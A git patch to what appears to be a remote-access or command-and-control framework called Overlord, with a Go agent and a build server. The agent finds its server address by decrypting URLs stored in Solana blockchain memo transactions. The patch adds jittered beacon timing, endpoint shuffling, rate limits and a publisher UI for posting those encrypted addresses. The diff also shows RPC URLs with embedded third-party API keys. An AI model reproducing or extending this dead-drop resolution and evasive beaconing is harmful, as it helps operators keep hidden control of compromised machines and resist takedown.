From 4042d4f76848d47d0e193627885b5e3b4a0938d2 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Tue, 14 Jul 2026 00:03:55 -0500 Subject: [PATCH] majorly improve SOL push UI + allow for more customization. --- .env.example | 8 + Overlord-Client/cmd/agent/config/solana.go | 83 ++++++-- .../cmd/agent/config/solana_test.go | 38 ++++ Overlord-Client/cmd/agent/session.go | 4 +- Overlord-Server/public/assets/build.js | 32 +-- Overlord-Server/public/assets/sol-publish.js | 104 +++++++--- Overlord-Server/public/sol-publish.html | 189 +++++++++++------- Overlord-Server/src/rateLimit.test.ts | 11 + Overlord-Server/src/rateLimit.ts | 10 + .../src/server/routes/build-routes.ts | 19 +- .../src/server/routes/sol-routes.ts | 97 ++++++--- Overlord-Server/src/sol-rpc-endpoints.ts | 79 ++++++++ 12 files changed, 506 insertions(+), 168 deletions(-) create mode 100644 Overlord-Client/cmd/agent/config/solana_test.go create mode 100644 Overlord-Server/src/sol-rpc-endpoints.ts diff --git a/.env.example b/.env.example index 78cb2d3..66d3d94 100644 --- a/.env.example +++ b/.env.example @@ -40,6 +40,14 @@ # Leave empty to auto-generate and persist to save.json # OVERLORD_AGENT_TOKEN= +# OPTIONAL: Solana publisher RPC request limits (per signed-in user) +# OVERLORD_SOL_PUBLISH_RATE_LIMIT_MAX=3 +# OVERLORD_SOL_PUBLISH_RATE_LIMIT_WINDOW_SECONDS=300 +# OVERLORD_SOL_PUBLISH_RATE_LIMIT_LOCKOUT_SECONDS=300 +# OVERLORD_SOL_BALANCE_RATE_LIMIT_MAX=12 +# OVERLORD_SOL_BALANCE_RATE_LIMIT_WINDOW_SECONDS=60 +# OVERLORD_SOL_BALANCE_RATE_LIMIT_LOCKOUT_SECONDS=60 + # ============================================ # OPTIONAL: OIDC / SSO login # ============================================ diff --git a/Overlord-Client/cmd/agent/config/solana.go b/Overlord-Client/cmd/agent/config/solana.go index c42b9fd..d0c9627 100644 --- a/Overlord-Client/cmd/agent/config/solana.go +++ b/Overlord-Client/cmd/agent/config/solana.go @@ -9,12 +9,25 @@ import ( "fmt" "io" "log" + "math/rand" "net/http" + "strconv" "strings" "time" ) const solanaMemoProgramID = "MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr" +const solanaRPCMinInterval = time.Second +const solanaRPCMaxResponseBytes = 2 << 20 + +type rpcPacer struct{ lastRequest time.Time } + +func (p *rpcPacer) wait() { + if delay := solanaRPCMinInterval - time.Since(p.lastRequest); delay > 0 { + time.Sleep(delay) + } + p.lastRequest = time.Now() +} type rpcRequest struct { Jsonrpc string `json:"jsonrpc"` @@ -74,26 +87,34 @@ func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []stri } client := &http.Client{Timeout: 15 * time.Second} + endpoints := append([]string(nil), rpcEndpoints...) + rand.Shuffle(len(endpoints), func(i, j int) { endpoints[i], endpoints[j] = endpoints[j], endpoints[i] }) + pacer := &rpcPacer{} keyHash := sha256.Sum256([]byte(agentToken)) log.Printf("[solana] using key hash prefix: %x (token len=%d)", keyHash[:4], len(agentToken)) var signatures []signatureInfo var lastErr error - for i, endpoint := range rpcEndpoints { - if i > 0 { - time.Sleep(200 * time.Millisecond) - } - sigs, err := getSignatures(client, endpoint, solAddress) + var rpcSucceeded bool + for _, endpoint := range endpoints { + sigs, err := getSignatures(client, pacer, endpoint, solAddress) if err != nil { lastErr = err log.Printf("[solana] RPC %s failed for getSignatures: %v", endpoint, err) continue } + rpcSucceeded = true + if len(sigs) == 0 { + continue + } signatures = sigs break } if signatures == nil { + if rpcSucceeded { + return nil, fmt.Errorf("no transactions found for address %s", solAddress) + } return nil, fmt.Errorf("all RPC endpoints failed for getSignatures: %v", lastErr) } @@ -106,13 +127,10 @@ func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []stri continue } - for j, endpoint := range rpcEndpoints { - if j > 0 { - time.Sleep(200 * time.Millisecond) - } - memo, err := getMemoFromTransaction(client, endpoint, sig.Signature) + for _, endpoint := range endpoints { + memo, err := getMemoFromTransaction(client, pacer, endpoint, sig.Signature) if err != nil { - log.Printf("[solana] RPC %s failed for tx %s: %v", endpoint, sig.Signature[:16], err) + log.Printf("[solana] RPC %s failed for tx %s: %v", endpoint, shortSignature(sig.Signature), err) continue } if memo == "" { @@ -121,13 +139,13 @@ func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []stri decrypted, err := decryptMemo(memo, agentToken) if err != nil { - log.Printf("[solana] failed to decrypt memo from tx %s: %v", sig.Signature[:16], err) + log.Printf("[solana] failed to decrypt memo from tx %s: %v", shortSignature(sig.Signature), err) break } urls := parseMemoURLs(decrypted) if len(urls) > 0 { - log.Printf("[solana] resolved %d server URL(s) from memo in tx %s", len(urls), sig.Signature[:16]) + log.Printf("[solana] resolved %d server URL(s) from memo in tx %s", len(urls), shortSignature(sig.Signature)) return urls, nil } break @@ -137,14 +155,21 @@ func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []stri return nil, fmt.Errorf("no valid decryptable memo found in recent transactions") } -func getSignatures(client *http.Client, endpoint, address string) ([]signatureInfo, error) { +func shortSignature(signature string) string { + if len(signature) <= 16 { + return signature + } + return signature[:16] +} + +func getSignatures(client *http.Client, pacer *rpcPacer, endpoint, address string) ([]signatureInfo, error) { reqBody := rpcRequest{ Jsonrpc: "2.0", ID: 1, Method: "getSignaturesForAddress", Params: []interface{}{ address, - map[string]interface{}{"limit": 10}, + map[string]interface{}{"limit": 5}, }, } @@ -153,13 +178,17 @@ func getSignatures(client *http.Client, endpoint, address string) ([]signatureIn return nil, err } + pacer.wait() resp, err := client.Post(endpoint, "application/json", strings.NewReader(string(data))) if err != nil { return nil, err } defer resp.Body.Close() - body, err := io.ReadAll(resp.Body) + if err := validateRPCResponse(resp); err != nil { + return nil, err + } + body, err := io.ReadAll(io.LimitReader(resp.Body, solanaRPCMaxResponseBytes)) if err != nil { return nil, err } @@ -176,7 +205,7 @@ func getSignatures(client *http.Client, endpoint, address string) ([]signatureIn return result.Result, nil } -func getMemoFromTransaction(client *http.Client, endpoint, signature string) (string, error) { +func getMemoFromTransaction(client *http.Client, pacer *rpcPacer, endpoint, signature string) (string, error) { reqBody := rpcRequest{ Jsonrpc: "2.0", ID: 1, @@ -195,13 +224,17 @@ func getMemoFromTransaction(client *http.Client, endpoint, signature string) (st return "", err } + pacer.wait() resp, err := client.Post(endpoint, "application/json", strings.NewReader(string(data))) if err != nil { return "", err } defer resp.Body.Close() - body, err := io.ReadAll(resp.Body) + if err := validateRPCResponse(resp); err != nil { + return "", err + } + body, err := io.ReadAll(io.LimitReader(resp.Body, solanaRPCMaxResponseBytes)) if err != nil { return "", err } @@ -230,6 +263,20 @@ func getMemoFromTransaction(client *http.Client, endpoint, signature string) (st return "", nil } +func validateRPCResponse(resp *http.Response) error { + if resp.StatusCode >= 200 && resp.StatusCode < 300 { + return nil + } + if resp.StatusCode == http.StatusTooManyRequests { + retryAfter := strings.TrimSpace(resp.Header.Get("Retry-After")) + if seconds, err := strconv.Atoi(retryAfter); err == nil && seconds > 0 { + return fmt.Errorf("RPC rate limited (retry after %ds)", seconds) + } + return fmt.Errorf("RPC rate limited") + } + return fmt.Errorf("RPC returned HTTP %s", resp.Status) +} + func decryptMemo(memoBase64, agentToken string) (string, error) { raw, err := base64.StdEncoding.DecodeString(memoBase64) if err != nil { diff --git a/Overlord-Client/cmd/agent/config/solana_test.go b/Overlord-Client/cmd/agent/config/solana_test.go new file mode 100644 index 0000000..c6d8ecb --- /dev/null +++ b/Overlord-Client/cmd/agent/config/solana_test.go @@ -0,0 +1,38 @@ +package config + +import ( + "net/http" + "strings" + "testing" +) + +func TestValidateRPCResponseHonorsRateLimit(t *testing.T) { + resp := &http.Response{ + StatusCode: http.StatusTooManyRequests, + Status: "429 Too Many Requests", + Header: http.Header{"Retry-After": []string{"17"}}, + Body: http.NoBody, + } + err := validateRPCResponse(resp) + if err == nil || !strings.Contains(err.Error(), "17s") { + t.Fatalf("expected retry-after error, got %v", err) + } +} + +func TestValidateRPCResponseRejectsServerError(t *testing.T) { + resp := &http.Response{ + StatusCode: http.StatusServiceUnavailable, + Status: "503 Service Unavailable", + Header: make(http.Header), + Body: http.NoBody, + } + if err := validateRPCResponse(resp); err == nil { + t.Fatal("expected non-2xx response to fail") + } +} + +func TestShortSignatureHandlesMalformedValue(t *testing.T) { + if got := shortSignature("short"); got != "short" { + t.Fatalf("shortSignature returned %q", got) + } +} diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 0a611fa..c0181b5 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -57,8 +57,8 @@ func runClient(cfg config.Config) { var loggedTLS bool var lastDisconnect time.Time var lastSolRefresh time.Time - solInitialWait := 2 * time.Minute - solRefreshInterval := 2*time.Minute + time.Duration(rand.Intn(60))*time.Second + solInitialWait := 2*time.Minute + time.Duration(rand.Intn(60))*time.Second + solRefreshInterval := 5*time.Minute + time.Duration(rand.Intn(300))*time.Second for { diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index f14a6c8..44e045a 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -53,6 +53,20 @@ let currentUsername = null; let showAllBuilds = false; let buildPlugins = []; +async function loadSolRpcEndpoints() { + const field = document.getElementById("sol-rpc-endpoints"); + if (!field || field.value.trim()) return; + try { + const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" }); + if (!res.ok) return; + const data = await res.json(); + const endpoints = Array.isArray(data?.endpoints) + ? data.endpoints.map((item) => String(item || "").trim()).filter(Boolean) + : []; + field.value = endpoints.join("\n"); + } catch {} +} + async function loadServerVersion() { try { const res = await fetch("/api/version", { credentials: "include" }); @@ -937,22 +951,7 @@ if (solMemoCheckbox && solSettings) { updateServerUrlPlaceholder(); } - if (isSol) { - const rpcField = document.getElementById("sol-rpc-endpoints"); - if (rpcField && !rpcField.value.trim()) { - rpcField.value = [ - "https://api.mainnet-beta.solana.com", - "https://solana-mainnet.gateway.tatum.io", - "https://go.getblock.us/86aac42ad4484f3c813079afc201451c", - "https://solana-rpc.publicnode.com", - "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc", - "https://solana.drpc.org", - "https://solana.leorpc.com/?api_key=FREE", - "https://solana.api.onfinality.io/public", - "https://solana.api.pocket.network/", - ].join("\n"); - } - } + if (isSol) loadSolRpcEndpoints(); }); } @@ -1634,6 +1633,7 @@ async function init() { } await loadServerVersion(); + await loadSolRpcEndpoints(); await loadSavedBuilds(); await loadBuildProfiles(); diff --git a/Overlord-Server/public/assets/sol-publish.js b/Overlord-Server/public/assets/sol-publish.js index 46ef410..8c1aaa2 100644 --- a/Overlord-Server/public/assets/sol-publish.js +++ b/Overlord-Server/public/assets/sol-publish.js @@ -1,16 +1,4 @@ (() => { -const DEFAULT_RPC_ENDPOINTS = [ - "https://api.mainnet-beta.solana.com", - "https://solana-mainnet.gateway.tatum.io", - "https://solana-rpc.publicnode.com", - "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc", - "https://solana.drpc.org", - "https://solana.leorpc.com/?api_key=FREE", - "https://solana.api.onfinality.io/public", - "https://solana.api.pocket.network/", - "https://api.devnet.solana.com", -]; - const rpcSelect = document.getElementById("rpc-url"); const customRpcWrapper = document.getElementById("custom-rpc-wrapper"); const customRpcInput = document.getElementById("custom-rpc-url"); @@ -23,8 +11,12 @@ const outputSection = document.getElementById("output-section"); const outputDiv = document.getElementById("output"); const walletInfo = document.getElementById("wallet-info"); const walletAddress = document.getElementById("wallet-address"); +const rpcEndpointList = document.getElementById("rpc-endpoint-list"); +const newRpcInput = document.getElementById("new-rpc-url"); +const addRpcBtn = document.getElementById("add-rpc-btn"); +const rpcManagerError = document.getElementById("rpc-manager-error"); -if (!rpcSelect || !customRpcWrapper || !customRpcInput || !privateKeyInput || !toggleKeyBtn || !serverUrlInput || !previewBtn || !publishBtn || !outputSection || !outputDiv || !walletInfo || !walletAddress) { +if (!rpcSelect || !customRpcWrapper || !customRpcInput || !privateKeyInput || !toggleKeyBtn || !serverUrlInput || !previewBtn || !publishBtn || !outputSection || !outputDiv || !walletInfo || !walletAddress || !rpcEndpointList || !newRpcInput || !addRpcBtn || !rpcManagerError) { return; } @@ -48,24 +40,90 @@ function appendRpcOption(value, label = value) { } async function loadRpcEndpoints() { + const selected = rpcSelect.value; rpcSelect.innerHTML = ""; - let endpoints = []; + let records = []; try { const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" }); if (res.ok) { const data = await res.json(); - endpoints = normalizeRpcEndpoints(data?.endpoints); + const urls = normalizeRpcEndpoints(data?.endpoints); + records = Array.isArray(data?.records) + ? data.records.filter((item) => item && typeof item.id === "string" && urls.includes(item.url)) + : urls.map((url) => ({ id: "", url })); } } catch {} - - if (endpoints.length === 0) { - endpoints = DEFAULT_RPC_ENDPOINTS; - } - - normalizeRpcEndpoints(endpoints).forEach((ep) => appendRpcOption(ep)); + records.forEach((item) => appendRpcOption(item.url)); appendRpcOption("__custom__", "Custom RPC endpoint..."); + rpcSelect.value = records.some((item) => item.url === selected) ? selected : (records[0]?.url || "__custom__"); + customRpcWrapper.classList.toggle("hidden", rpcSelect.value !== "__custom__"); + renderRpcEndpointManager(records); } +function setRpcManagerError(message = "") { + rpcManagerError.textContent = message; + rpcManagerError.classList.toggle("hidden", !message); +} + +function renderRpcEndpointManager(records) { + rpcEndpointList.innerHTML = ""; + if (records.length === 0) { + const empty = document.createElement("p"); + empty.className = "rounded-lg border border-dashed border-slate-700 px-3 py-4 text-center text-xs text-slate-500"; + empty.textContent = "No saved endpoints. Add one below or use a custom endpoint for this publish."; + rpcEndpointList.appendChild(empty); + return; + } + records.forEach((record) => { + const row = document.createElement("div"); + row.className = "group flex items-center gap-1 rounded-lg border border-slate-800 bg-slate-950/60 p-1.5"; + const input = document.createElement("input"); + input.type = "url"; + input.value = record.url; + input.className = "flex-1 min-w-0 px-2 py-1.5 bg-transparent border border-transparent rounded text-xs font-mono text-slate-300 focus:outline-none focus:border-sky-500/60 focus:bg-slate-950"; + const save = document.createElement("button"); + save.type = "button"; + save.className = "inline-flex items-center justify-center w-8 h-8 shrink-0 rounded-md text-slate-500 hover:text-sky-300 hover:bg-sky-500/10 transition-colors"; + save.title = "Save endpoint"; + save.innerHTML = ''; + save.addEventListener("click", () => mutateRpcEndpoint(`/api/sol/rpc-endpoints/${record.id}`, "PATCH", { url: input.value })); + const remove = document.createElement("button"); + remove.type = "button"; + remove.className = "inline-flex items-center justify-center w-8 h-8 shrink-0 rounded-md text-slate-500 hover:text-red-300 hover:bg-red-500/10 transition-colors"; + remove.title = "Delete endpoint"; + remove.innerHTML = ''; + remove.addEventListener("click", () => mutateRpcEndpoint(`/api/sol/rpc-endpoints/${record.id}`, "DELETE")); + row.append(input, save, remove); + rpcEndpointList.appendChild(row); + }); +} + +async function mutateRpcEndpoint(path, method, body) { + setRpcManagerError(); + try { + const res = await fetch(path, { + method, + headers: body ? { "Content-Type": "application/json" } : undefined, + credentials: "include", + body: body ? JSON.stringify(body) : undefined, + }); + const data = await res.json(); + if (!res.ok) throw new Error(data?.error || "Failed to save RPC endpoints"); + newRpcInput.value = ""; + await loadRpcEndpoints(); + } catch (error) { + setRpcManagerError(error?.message || "Failed to save RPC endpoints"); + } +} + +addRpcBtn.addEventListener("click", () => mutateRpcEndpoint("/api/sol/rpc-endpoints", "POST", { url: newRpcInput.value })); +newRpcInput.addEventListener("keydown", (event) => { + if (event.key === "Enter") { + event.preventDefault(); + addRpcBtn.click(); + } +}); + loadRpcEndpoints(); rpcSelect.addEventListener("change", () => { @@ -122,8 +180,8 @@ async function checkWalletBalance() { function showOutput(text, isError = false) { outputSection.classList.remove("hidden"); outputDiv.textContent = text; - outputDiv.className = `p-3 bg-slate-800/60 border rounded-lg text-sm font-mono break-all whitespace-pre-wrap max-h-64 overflow-y-auto ${ - isError ? "border-red-700/60 text-red-300" : "border-slate-700 text-slate-200" + outputDiv.className = `p-4 bg-slate-950/70 border rounded-lg text-sm font-mono break-all whitespace-pre-wrap max-h-72 overflow-y-auto ${ + isError ? "border-red-500/40 text-red-300" : "border-slate-800 text-slate-200" }`; } diff --git a/Overlord-Server/public/sol-publish.html b/Overlord-Server/public/sol-publish.html index 623d6ea..5a00b32 100644 --- a/Overlord-Server/public/sol-publish.html +++ b/Overlord-Server/public/sol-publish.html @@ -9,112 +9,153 @@ - + -
-
-
+
+
-

- Solana Memo Publisher -

-

- Publish an encrypted server URL as a Solana memo transaction. - Clients configured with Solana lookup will query this address to find the server. +

Solana Memo Publisher

+

+ Publish encrypted connection endpoints for clients configured to resolve this server through Solana.

+
+ + Mainnet +
+
-
- - -
- - -
diff --git a/Overlord-Server/src/rateLimit.test.ts b/Overlord-Server/src/rateLimit.test.ts index e85ee66..a2bea6d 100644 --- a/Overlord-Server/src/rateLimit.test.ts +++ b/Overlord-Server/src/rateLimit.test.ts @@ -3,6 +3,7 @@ import { getConfig } from "./config"; import { clearRequestRateLimitsForTests, consumeLoginPageRateLimit, + consumeSolRpcRateLimit, consumeUnauthorizedRateLimit, isRateLimited, recordFailedAttempt, @@ -59,4 +60,14 @@ describe("rateLimit", () => { expect(result.limited).toBe(true); expect(result.retryAfter).toBeGreaterThan(0); }); + + test("applies separate Solana publish and balance limits per user", () => { + const userId = Date.now(); + for (let i = 0; i < 3; i += 1) { + expect(consumeSolRpcRateLimit(userId, "publish").limited).toBe(false); + } + expect(consumeSolRpcRateLimit(userId, "publish").limited).toBe(true); + expect(consumeSolRpcRateLimit(userId, "balance").limited).toBe(false); + expect(consumeSolRpcRateLimit(userId + 1, "publish").limited).toBe(false); + }); }); diff --git a/Overlord-Server/src/rateLimit.ts b/Overlord-Server/src/rateLimit.ts index 142ca0d..60326cf 100644 --- a/Overlord-Server/src/rateLimit.ts +++ b/Overlord-Server/src/rateLimit.ts @@ -162,6 +162,16 @@ export function consumeUnauthorizedRateLimit(ip: string): { limited: boolean; re return consumeRequestRateLimit(`unauthorized:${ip}`, "Unauthorized request", policy); } +export function consumeSolRpcRateLimit( + userId: number, + action: "balance" | "publish", +): { limited: boolean; retryAfter?: number } { + const policy = action === "publish" + ? makeRequestPolicy("SOL_PUBLISH", { maxRequests: 3, windowMs: 5 * 60 * 1000, lockoutMs: 5 * 60 * 1000 }) + : makeRequestPolicy("SOL_BALANCE", { maxRequests: 12, windowMs: 60 * 1000, lockoutMs: 60 * 1000 }); + return consumeRequestRateLimit(`sol-${action}:${userId}`, `Solana ${action}`, policy); +} + export function clearRequestRateLimitsForTests(): void { requestRateLimitStore.clear(); } diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 966942c..7c99d38 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -29,6 +29,7 @@ import { resolveRuntimeRoot } from "../runtime-paths"; import { createUploadPull } from "../file-transfer-state"; import { handleBuildProfileRoutes } from "./build-profile-routes"; import { sanitizeInitialClientTag } from "../build-config-sanitize"; +import { getSolRpcEndpointUrls, normalizeSolRpcUrls } from "../../sol-rpc-endpoints"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -287,8 +288,22 @@ export async function handleBuildRoutes( } safeSolAddress = trimmedAddr; - if (typeof solRpcEndpoints === "string" && solRpcEndpoints.trim()) { - const endpoints = solRpcEndpoints.split("\n").map((e: string) => e.trim()).filter(Boolean); + const requestedEndpoints = typeof solRpcEndpoints === "string" && solRpcEndpoints.trim() + ? solRpcEndpoints.split("\n").map((e: string) => e.trim()).filter(Boolean) + : getSolRpcEndpointUrls(); + if (requestedEndpoints.length === 0) { + return Response.json( + { error: "Solana memo mode requires at least one RPC endpoint" }, + { status: 400 }, + ); + } + if (requestedEndpoints.length > 0) { + let endpoints: string[]; + try { + endpoints = normalizeSolRpcUrls(requestedEndpoints); + } catch (error: any) { + return Response.json({ error: error?.message || "Invalid RPC endpoints" }, { status: 400 }); + } for (const ep of endpoints) { try { const parsed = new URL(ep); diff --git a/Overlord-Server/src/server/routes/sol-routes.ts b/Overlord-Server/src/server/routes/sol-routes.ts index 02df522..41cee55 100644 --- a/Overlord-Server/src/server/routes/sol-routes.ts +++ b/Overlord-Server/src/server/routes/sol-routes.ts @@ -3,6 +3,12 @@ import { authenticateRequest } from "../../auth"; import { getConfig } from "../../config"; import { logger } from "../../logger"; import { requirePermission } from "../../rbac"; +import { consumeSolRpcRateLimit } from "../../rateLimit"; +import { + getSolRpcEndpoints, + normalizeSolRpcUrl, + saveSolRpcEndpointUrls, +} from "../../sol-rpc-endpoints"; let _solana: typeof import("@solana/web3.js") | null = null; async function getSolana() { @@ -36,19 +42,6 @@ function decodeBase58(str: string): Uint8Array { return new Uint8Array(bytes.reverse()); } -const DEFAULT_RPC_ENDPOINTS = [ - "https://api.mainnet-beta.solana.com", - "https://solana-mainnet.gateway.tatum.io", - "https://go.getblock.us/86aac42ad4484f3c813079afc201451c", - "https://solana-rpc.publicnode.com", - "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc", - "https://solana.drpc.org", - "https://solana.leorpc.com/?api_key=FREE", - "https://solana.api.onfinality.io/public", - "https://solana.api.pocket.network/", - "https://api.devnet.solana.com", -]; - function encryptServerUrl(serverUrl: string, agentToken: string): string { const keyHash = createHash("sha256").update(agentToken).digest(); const nonce = randomBytes(12); @@ -72,11 +65,49 @@ export async function handleSolRoutes( return new Response("Unauthorized", { status: 401 }); } - try { - requirePermission(user, "system:configure"); - } catch (error) { - if (error instanceof Response) return error; - return new Response("Forbidden", { status: 403 }); + if (req.method === "GET" && url.pathname === "/api/sol/rpc-endpoints") { + const records = getSolRpcEndpoints(); + return Response.json({ endpoints: records.map((item) => item.url), records }); + } + + try { requirePermission(user, "system:configure"); } + catch (error) { return error instanceof Response ? error : new Response("Forbidden", { status: 403 }); } + + if (req.method === "POST" && url.pathname === "/api/sol/rpc-endpoints") { + const body = await req.json(); + const current = getSolRpcEndpoints().map((item) => item.url); + try { + const endpoint = normalizeSolRpcUrl(body?.url); + if (current.includes(endpoint)) { + return Response.json({ error: "RPC endpoint is already in the list" }, { status: 409 }); + } + const records = saveSolRpcEndpointUrls([...current, endpoint], user.userId); + return Response.json({ records, endpoints: records.map((item) => item.url) }, { status: 201 }); + } catch (error: any) { + return Response.json({ error: error?.message || "Invalid RPC endpoint" }, { status: 400 }); + } + } + + const endpointMatch = url.pathname.match(/^\/api\/sol\/rpc-endpoints\/([a-f0-9]{16})$/); + if (endpointMatch && (req.method === "PATCH" || req.method === "DELETE")) { + const current = getSolRpcEndpoints(); + const index = current.findIndex((item) => item.id === endpointMatch[1]); + if (index < 0) return Response.json({ error: "RPC endpoint not found" }, { status: 404 }); + const urls = current.map((item) => item.url); + if (req.method === "DELETE") urls.splice(index, 1); + else { + try { + const endpoint = normalizeSolRpcUrl((await req.json())?.url); + if (urls.some((item, itemIndex) => itemIndex !== index && item === endpoint)) { + return Response.json({ error: "RPC endpoint is already in the list" }, { status: 409 }); + } + urls[index] = endpoint; + } catch (error: any) { + return Response.json({ error: error?.message || "Invalid RPC endpoint" }, { status: 400 }); + } + } + const records = saveSolRpcEndpointUrls(urls, user.userId); + return Response.json({ records, endpoints: records.map((item) => item.url) }); } if (req.method === "POST" && url.pathname === "/api/sol/preview") { @@ -98,6 +129,11 @@ export async function handleSolRoutes( } if (req.method === "POST" && url.pathname === "/api/sol/publish") { + const rateLimit = consumeSolRpcRateLimit(user.userId, "publish"); + if (rateLimit.limited) return Response.json( + { error: "Solana publish rate limit exceeded" }, + { status: 429, headers: { "Retry-After": String(rateLimit.retryAfter || 60) } }, + ); const body = await req.json(); const { privateKeyBase58, serverUrl, rpcUrl } = body; @@ -123,14 +159,11 @@ export async function handleSolRoutes( return Response.json({ error: "Invalid Solana private key (Base58)" }, { status: 400 }); } - const endpoint = typeof rpcUrl === "string" && rpcUrl.trim() - ? rpcUrl.trim() - : "https://api.mainnet-beta.solana.com"; - + let endpoint: string; try { - new URL(endpoint); - } catch { - return Response.json({ error: "Invalid RPC URL" }, { status: 400 }); + endpoint = normalizeSolRpcUrl(rpcUrl); + } catch (err: any) { + return Response.json({ error: err?.message || "Invalid RPC URL" }, { status: 400 }); } const memo = encryptServerUrl(serverUrl.trim(), agentToken); @@ -182,6 +215,11 @@ export async function handleSolRoutes( } if (req.method === "POST" && url.pathname === "/api/sol/balance") { + const rateLimit = consumeSolRpcRateLimit(user.userId, "balance"); + if (rateLimit.limited) return Response.json( + { error: "Solana balance rate limit exceeded" }, + { status: 429, headers: { "Retry-After": String(rateLimit.retryAfter || 60) } }, + ); const body = await req.json(); const { publicKeyBase58, rpcUrl } = body; @@ -197,11 +235,8 @@ export async function handleSolRoutes( return Response.json({ error: "Invalid Solana public key" }, { status: 400 }); } - const endpoint = typeof rpcUrl === "string" && rpcUrl.trim() - ? rpcUrl.trim() - : "https://api.mainnet-beta.solana.com"; - try { + const endpoint = normalizeSolRpcUrl(rpcUrl); const { Connection, LAMPORTS_PER_SOL } = await getSolana(); const connection = new Connection(endpoint, "confirmed"); const balance = await connection.getBalance(pubkey); @@ -216,10 +251,6 @@ export async function handleSolRoutes( } } - if (req.method === "GET" && url.pathname === "/api/sol/rpc-endpoints") { - return Response.json({ endpoints: DEFAULT_RPC_ENDPOINTS }); - } - return null; } catch (err: any) { logger.error(`[sol] Route error: ${err?.message || err}`); diff --git a/Overlord-Server/src/sol-rpc-endpoints.ts b/Overlord-Server/src/sol-rpc-endpoints.ts new file mode 100644 index 0000000..85ccba5 --- /dev/null +++ b/Overlord-Server/src/sol-rpc-endpoints.ts @@ -0,0 +1,79 @@ +import { createHash } from "crypto"; +import { getSharedUiSettings, saveSharedUiSettings } from "./db"; + +const SETTINGS_SCOPE = "sol-rpc-endpoints"; +export const MAX_SOL_RPC_ENDPOINTS = 20; + +export const DEFAULT_SOL_RPC_ENDPOINTS = [ + "https://api.mainnet.solana.com/", + "https://solana-rpc.publicnode.com/", + "https://solana.api.pocket.network/", + "https://solana.leorpc.com/?api_key=FREE", + "https://public.rpc.solanavibestation.com/", + "https://api.uniblock.dev/uni/v1/json-rpc?chainId=solana", +]; + +export type SolRpcEndpoint = { id: string; url: string }; + +export function normalizeSolRpcUrl(value: unknown): string { + if (typeof value !== "string") throw new Error("RPC endpoint must be a URL string"); + const trimmed = value.trim(); + if (!trimmed) throw new Error("RPC endpoint is required"); + if (trimmed.length > 2048) throw new Error("RPC endpoint is too long"); + + let parsed: URL; + try { + parsed = new URL(trimmed); + } catch { + throw new Error("Invalid RPC endpoint URL"); + } + if (parsed.protocol !== "https:" && parsed.protocol !== "http:") { + throw new Error("RPC endpoint must use HTTP or HTTPS"); + } + if (parsed.username || parsed.password) { + throw new Error("RPC endpoint must not contain URL credentials"); + } + return parsed.toString(); +} + +export function normalizeSolRpcUrls(values: unknown): string[] { + if (!Array.isArray(values)) throw new Error("endpoints must be an array"); + const result: string[] = []; + const seen = new Set(); + for (const value of values) { + const normalized = normalizeSolRpcUrl(value); + if (!seen.has(normalized)) { + seen.add(normalized); + result.push(normalized); + } + } + if (result.length > MAX_SOL_RPC_ENDPOINTS) { + throw new Error(`A maximum of ${MAX_SOL_RPC_ENDPOINTS} RPC endpoints is allowed`); + } + return result; +} + +function endpointId(url: string): string { + return createHash("sha256").update(url).digest("hex").slice(0, 16); +} + +export function getSolRpcEndpointUrls(): string[] { + const record = getSharedUiSettings(SETTINGS_SCOPE); + if (!record) return [...DEFAULT_SOL_RPC_ENDPOINTS]; + try { + const parsed = JSON.parse(record.settingsJson); + return normalizeSolRpcUrls(parsed?.endpoints); + } catch { + return [...DEFAULT_SOL_RPC_ENDPOINTS]; + } +} + +export function getSolRpcEndpoints(): SolRpcEndpoint[] { + return getSolRpcEndpointUrls().map((url) => ({ id: endpointId(url), url })); +} + +export function saveSolRpcEndpointUrls(values: unknown, userId: number): SolRpcEndpoint[] { + const endpoints = normalizeSolRpcUrls(values); + saveSharedUiSettings(SETTINGS_SCOPE, JSON.stringify({ endpoints }), userId); + return endpoints.map((url) => ({ id: endpointId(url), url })); +}